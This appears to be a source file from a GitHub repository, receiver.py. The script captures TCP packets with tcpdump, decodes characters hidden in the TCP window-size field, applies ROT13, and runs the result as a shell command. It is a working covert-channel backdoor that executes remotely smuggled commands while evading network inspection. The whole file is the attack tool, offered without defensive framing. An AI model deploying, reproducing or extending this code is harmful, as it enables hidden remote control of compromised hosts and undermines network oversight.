-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathreceiver.py
55 lines (51 loc) · 1.95 KB
/
receiver.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import re
import subprocess
import argparse
import codecs
from colorama import Fore
Reset = Fore.RESET
Red = Fore.RED
Green = Fore.GREEN
Cyan = Fore.CYAN
argParser = argparse.ArgumentParser()
argParser.add_argument("-i", "--interface", help="Network capturing interface")
argParser.add_argument("-pc", "--packetsCount", help="Number of packets to capture")
argParser.add_argument("-p", "--port", help="Port that will receive the packets")
args = argParser.parse_args()
interface = args.interface
packetsCount = args.packetsCount
port = args.port
def decode(log):
lines = log.splitlines()
var = ""
s = [""]
for line in lines:
regex = r"(win)\s([1-9][0-9]{1,3}|10000000)"
str = line
matches = re.finditer(regex, str, re.MULTILINE)
for matchNum, match in enumerate(matches, start=1):
for groupNum in range(0, len(match.groups())):
groupNum = groupNum + 1
all = "{group}".format(group=match.group(groupNum))
all_int = re.findall(r'\d+', all)
for ints in all_int:
s.append(chr(int(ints)))
if s != None:
decoded_command = codecs.decode(''.join(s), 'rot13')
print(f"{Green}[+] Encoded command: {Cyan}{''.join(s)}{Reset}\n{Green}[+] Decoded command: {Cyan}{decoded_command}{Reset}")
subprocess.run(decoded_command, shell=True)
if interface == None:
print(Red + "[-] Pleace specify network interface" + Reset)
elif packetsCount == None:
print(Red + "[-] Pleace specify packets count to capture" + Reset)
elif port == None:
print(Red + "[-] Pleace specify port to monitor" + Reset)
else:
try:
cmd = subprocess.run(["tcpdump", "-i", interface, "tcp", "and", "port", port, "-c", packetsCount], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
if cmd.returncode == 0:
decode(cmd.stdout)
except KeyboardInterrupt:
decode(cmd.stdout)
else:
print(cmd.returncode)